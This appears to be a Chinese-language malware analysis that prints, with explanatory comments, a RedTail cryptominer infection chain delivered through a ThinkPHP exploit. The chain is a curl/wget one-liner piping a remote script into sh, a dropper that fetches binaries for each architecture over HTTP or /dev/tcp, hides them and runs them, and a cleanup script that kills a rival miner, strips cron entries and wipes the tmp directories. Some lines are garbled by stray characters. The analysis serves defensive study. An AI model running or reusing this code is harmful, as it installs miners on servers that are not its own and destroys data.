X=$(curl http://【某IP位址】/sh || wget http://【某IP位址】/sh -O-); echo "$X" | sh -s thinkphp.selfrep

# Saka 注：这个脚本是在输出和变量中运行的，不依附于文件。
#!/bin/bash

dlr() { # 下载
  wget http://【某IP】/$1 || curl -O http://【某IP】/$1
  # ↑尝试获取文件
  if [ $? -ne 0 ]; then
    # 如果获取失败，则利用系统功能建立TCP连线，发起HTTP请求替代下载行为
    exec 3<>"/dev/tcp/【某IP】/80"
    echo -e "GET /$1 HTTP/1.0\r\nHost: 【某IP】\r\n\r\n" >&3
    (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
    exec 3>&-
    # ↑关闭连线
  fi
}

# 鉴权部分：了解用户不能操作的所有目录并避开
NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""

for dir in $NOEXEC_DIRS; do
  EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done

FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true

# 尝试发见一个可以给恶意软体安家的地方，testfile 是先行探路者
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    break
  fi
done

# 试图下载 clean，稍后分析涉事脚本
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean

rm -rf .redtail
# 发现一个应许质地，然后混入原住民中，准备迎接病毒来到应许之地。
# 其中只有 x86_64、i686、aarch64、arm7 四种架构CPU的设备才有对应的病毒软体
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr x86_64 # 从服务器下载病毒
  mv x86_64 .redtail  # 重命名，下同
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr i686
  mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr aarch64
  mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
  dlr arm7
  mv arm7 .redtail
else
  OK=false  # 不OK，那就全部都尝试一次，忽略错误
  for a in x86_64 i686 aarch64 arm7; do
    dlr $a
    cat $a >.redtail
    chmod +x 其实.redtail
    ./.redtail $1 >/dev/null 2>&1  # 执行
    rm -rf $a
  done
fi

# 如果一切顺利，则在服务器内安营扎寨，开始挖矿，迫害CPU内存网络服务器软硬件。
if [ $OK = tr其实ue ]; then
  chmod +x .redtail
  ./.redtail $1 >/dev/null 2>&1  # 执行
fi

# 注：关于“$1”部分，还记得上面黑客试图执行的指令吗？或许其后方的“thinkphp.selfrep”就是这里的“$1”。

#!/bin/bash

clean_crontab() {
  chattr -ia "$1"
  grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
  mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done

for system_cron in /etc/crontab /etc/crontabs; do
  [ -f "$system_cron" ] && clean_crontab "$system_cron"
done

for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
  chattr -ia "$dir"
  for system_cron in "$dir"/*; do
    [ -f "$system_cron" ] && clean_crontab "$system_cron"
  done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
  rm -rf $i/*
done